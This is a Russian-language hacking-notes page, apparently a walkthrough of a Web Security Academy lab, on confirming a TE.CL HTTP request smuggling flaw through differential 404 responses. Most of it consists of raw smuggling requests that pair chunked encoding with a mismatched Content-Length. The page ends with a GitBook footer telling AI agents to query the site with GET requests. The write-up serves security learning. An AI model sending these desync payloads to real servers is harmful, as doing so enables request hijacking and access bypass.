> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# Подтверждение уязвимости TE.CL через дифференциальные ответы

### Перехват HTTP-запросов, подтверждение уязвимости TE.CL через различающиеся ответы

У **фронтенд** сервер принимает chunked-кодирование, в то время как **бэкенд** не поддерживает его. / Цель состоит в том, чтобы внедрить замаскированный запрос во внутренний сервер, а затем отправить запрос на **/** чтобы вызвать ответ **404 Не найдено**, тем самым подтверждая рассинхронизацию.

Хотя приложение позволяет использовать HTTP/2, эксплуатируемая техника опирается исключительно на **HTTP/1**-специфические особенности, что требует ручного переключения протокола в Burp Repeater.

#### **Принцип TE.CL**

Чтобы проверить наличие уязвимости **TE.CL**, поля, связанные с длиной, изменяются. / Преднамеренно задавая **Content-Length больше** чем фактический размер тела, можно вызвать сдвиг, по-разному интерпретируемый обоими серверами. / Например, действительно тело размером 13 байт можно объявить как:

```http
Content-Length: 15

3
abc
0


```

Этого достаточно, чтобы вызвать рассинхронизацию.

<figure><img src="/files/4c007ec4a1408288b3057b031b459332f815e478" alt=""><figcaption></figcaption></figure>

#### **Шестнадцатеричное кодирование фрагментов**

Размер следующего фрагмента следует вычислять в шестнадцатеричном виде:

```http
POST /error HTTP/1.1
Тест: A
```

<figure><img src="/files/af74ab4dc1dd65ffd394d9a49d2476ee61023794" alt=""><figcaption></figcaption></figure>

Первая попытка — отправить только размер фрагмента (4 байта):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Тест: A
0


```

Однако серверы не воспринимают эту версию как два отдельных запроса, что мешает корректной работе.

Чтобы добиться надежного поведения, бэкенд должен интерпретировать внедренный запрос как действительный HTTP-запрос. / Поле **Content-Length** «раздувается» при отправке более крупного фрагмента:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Отправив этот запрос **дважды**, происходит рассинхронизация, и атака работает как ожидается.

<figure><img src="/files/a74b362a6660ae628ee3e6200e4fb319f788735a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
